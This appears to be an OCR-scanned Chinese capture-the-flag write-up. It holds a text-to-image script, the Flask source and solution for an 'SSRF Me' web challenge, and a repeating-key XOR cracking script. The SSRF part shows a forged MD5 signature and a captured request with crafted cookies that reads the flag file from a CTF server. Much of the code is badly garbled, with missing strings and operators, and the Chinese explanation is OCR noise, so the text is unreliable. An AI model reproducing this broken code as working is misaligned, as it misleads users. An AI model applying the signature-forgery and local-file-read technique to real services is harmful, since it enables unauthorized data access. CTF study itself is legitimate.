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from PIL import Image

5 ) as f:
f.readlines()

str2:
.append(i)
.append(i)
.append(i)
.append(i)
.append(i)
.append(i)

(stri[e]))
(strl))
Image.new( , ( (strif[o@]), (strl)))
(0, (strl)):
(0, (stri[@])-1):
a=stri[j]
if a[i]
c.putpixel([i,j], (255,255,255))
else :
c.putpixel([i,j],(9,0,0))

C c.resize( (200, 200),Image.ANTIALIAS)

c.show()

c.save(
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SSRF Me

SSRF ME TO GET FLAG.

hint for [SSRF Me]: flag is in ./fag.txt

https://blog.csdn.netgg_41429081

SSRF(Server-Side Request Forgery: Ik 55 28 i 15 SR Oh & ) A& — i B BUh 3 1038 T i B IR 45 o R AR 1S SR I — N2 &0RTH . —RIB
T, SSRFREHRMIEHNIHRZ. (FRNMRMNNIMARATHE, BrA ol U BB M IEET H NSRS, e
RN EEAEL A EIPN)

BRI T

from flask import Flask
from flask import request

socket

hashlib

urllib

sys

0s

json

(sys)
sys.setdefaultencoding(

app = Flask(__name__ )
secert_key = os.urandom(16)

class Task:
def __init_ (self, action, param, sign, ip):
self.action action
self.param param
self.sign sign
self.sandbox = md5(ip)
if( os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

Exec(self):
result {}
result[ ] 500
if (self.checkSign()):
if in self.action:
tmpfile ¢ self.sandbox,
resp = scan(self.param)
if (resp
result[ resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result[ ] 200
in self.action:




f self.sandbox,
result[
result[ f.read()

if result| 500:
result[

else:
result[
result[

return result

checkSign(self):

if (getSign(self.action, self.param) self.sign):
return True

else:

return False

@app.route( , methods=][

def geneSign():
param urllib.unquote(request.args.get(
action

return getSign(action, param)

@app.route( ,methods=][ 1

def challenge():
action urllib.unquote(request.cookies.get(
param = urllib.unquote(request.args.get(
sign = urllib.unquote(request.cookies.get(
ip request.remote_addr
if(waf(param)):

return

task Task(action, param, sign, ip)

return json.dumps(task.Exec())
@app.route( )
def index():

return ).read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:

return

getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

md5(content):
return hashlib.md5(content).hexdigest()

waf(param):

check=param.strip().lower()

if check.startswith( check.startswith(
return True

else:
return False

if _ name_




app.run(host ,port=80)
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@app.route( ,methods=][ 1

def challenge():
action urllib.unquote(request.cookies.get(
param urllib.unquote(request.args.get(
sign urllib.unquote(request.cookies.get(
ip request.remote_addr
if(waf(param)):

return

task Task(action, param, sign, ip)

return json.dumps(task.Exec())
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def checkSign(self):
if (getSign(self.action, self.param) self.sign):
return True
else:
return False
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def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
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@app.route( , methods=[

def geneSign():
param urllib.unquote(request.args.get(
action

return getSign(action, param)
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if (self.checkSign()):
if in self.action:

tmpfile ( self.sandbox,
resp scan(self.param)

if (resp
result[ resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result[ ] 200
in self.action:
f ( self.sandbox,
result[ ] 200
result[ ] f.read()
if result| ] 500:
result[ ]
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def scan(param):
socket.setdefaulttimeout (1)
try:
return urllib.urlopen(param).read()[:50]
except:

return

scan() XA 5 B Vi 19 paramix ANk, K P9 2 I BT 50 32 B H Sk
Bt CABRATTAT AR FH R AN SR 32 R 55 28 P9 S i flag .t S04

WAE R R B4 paramZ T flag.txt”, action: T readscan’, #F LA3kEflag.
Bt LATRAT] 75 AN TE 1) /2

hashlib.md5(secert_key +"flag.txtreadscan”).hexdigest()
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@app.route( , methods=[

def geneSign():
param = urllib.unquote(request.args.get(
action

return getSign(action, param)
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<« c @ (@ 139.180.128.86/geneSign?param=flag.txtread
Byamsrsas 60288 Q@ hao122385 QEE—T QFarsE Qe QE=un O=sms OEE ©
7cde191de87fe3ddac?be19acae1525e

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /Delta?param=flag.txt HTTF/L.1 2 HTTF/Ll.l 200 OK

Host: 139.180.128.8& - Server: nginx/Ll.15.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xé4; rv:£6.0) Gecko/20100101 Date: Sat, 03 Aug 2019 12:01:44 GMT

Firefox/6E.0 Content-Type: text/html; charset=utf-8

Accept: text/html, application/xhtml4xml, application/xml:c=0.9, */*;q=0.8 Content-Length: &5

Adccept-Language: zh-CH, zh;g=0.8, zh-TW;q=0.7, zh-HE; gq=0.5,en-US; q=0.3,en; q=0.2 Connection: keep-alive

Accept-Encoding: gzip, deflate

Connection: keep-alive {"code": 200, "data": "delctf{27782fcffbb7d00309a93bc49bT4ca26}"

Cookie: action=readscan; sign=7cdelf9lde87feiddacléslYacaslslse
Upgrade-Inssecure-Requests: 1

Cache-Control: max-age=0

¥-Forwarded-For:127.0.0.1
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from itertools import
from data import flag,plain

key=flag.strip( ).strip(
assert( (key<38))

.join([ (si)))[2:].zfill(2) for p in plain])
print cipher

2 A

import string
from binascii import unhexlify, hexlify

from itertools import




def bxor(a, b):
if €)) (b):
return ([x ~y for x, y in (al: (b)], b)1)
else:

return ([x ~ y for x, y in (a, b[: (@D

hamming distance(bl, b2):
differing_bits = ©
for byte in bxor(bl, b2):

differing bits (byte).count(

return differing bits

break single key xor(text):
key = ©
possible space
max_possible (%]
letters string.ascii_letters.encode(
for a in (o, (text)):
maxpossible (%]
for b in (0, (text)):
if(a b):
continue
text[a] text[b]
if ¢ in letters
continue
maxpossible 1
if maxpossible max_possible:
max_possible = maxpossible
possible_space a
key = text[possible space] 0x20
return (key)

salt
si cycle(salt)
b = unhexlify(b

plain .join([ ( (si)))[2:].zfill(2) for c in b.decode()])
b = unhexlify(plain)

print(plain)

normalized_distances []

for KEYSIZE in (2, 40):

bl = b[: KEYSIZE]

b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE : KEYSIZE
b4 = b[KEYSIZE : KEYSIZE
b5 = b[KEYSIZE : KEYSIZE
b6 . KEYSIZE




normalized distance (
hamming_distance(bl, b2)
hamming_distance(b2, b3)
hamming_distance(b3, b4)
hamming_distance(b4, b5)
hamming_distance(b5, b6)

) / (KEYSIZE * 5)

normalized distances.append(
(KEYSIZE, normalized distance)

)

normalized distances (normalized distances, key=lambda x: x[1])

for KEYSIZE, _ in normalized _distances[:5]:

block_bytes [[] for _ in (KEYSIZE) ]

for i, byte in (b):
block_bytes[i KEYSIZE].append(byte)
keys

try:
for bbytes in block_bytes:
keys break_single_key_xor(bbytes)
key (keys (b), )
plaintext bxor(b, key)
print( , KEYSIZE)
print( , keys, )
s .decode(plaintext)
print(s)
except Exception:

continue
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